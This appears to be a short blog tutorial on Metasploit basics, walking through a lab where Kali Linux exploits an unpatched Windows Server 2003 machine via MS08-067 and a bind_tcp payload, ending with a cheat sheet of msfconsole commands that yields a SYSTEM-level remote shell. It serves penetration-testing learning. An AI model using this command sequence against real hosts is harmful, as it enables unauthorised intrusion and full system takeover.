In this post I want to talk about the basics of using the Metasploit Framework that is included on the latest version of Kali Linux. If you don’t already know the Metasploit Framework is a project that makes writing and utilizing exploits relatively easy and it’s components are very modularized. Metasploit has everything you need for exploitation from the exploits themselves to payloads, post exploitation modules and more. What exactly does all of this mean? In this case it means remote command line access with System privileges…:)

In this lab I am using a fresh Kali Linux 2016 VM with the latest updates and the victim machine is a fresh unpatched Windows Server 2003 R2 machine. Both machines are on the same local network. The exploit I will be using for this demo is MS08-067 – “Vulnerability in Server Service Could Allow Remote Code Execution” or in Metasploit “ms08_067_netapi”. Pairing this exploit with a payload like windows/shell/bind_tcp will give you full CMD access with System level privileges.

Basic Metasploit Commands Cheat Sheet-

# Show exploits
show exploits

# Search exploits
search ms08_067

# Use an exploit
use exploit/windows/smb/ms08_067_netapi

# Show what OS’s this exploit applies to
show targets

# Show what payloads are available for this exploit
show payloads

# Set payload
set payload windows/shell/bind_tcp

# Show options for the exploit and payload
show options

# Set the remote host/target option
set RHOST 192.168.XXX.XXX

# Run the exploit
exploit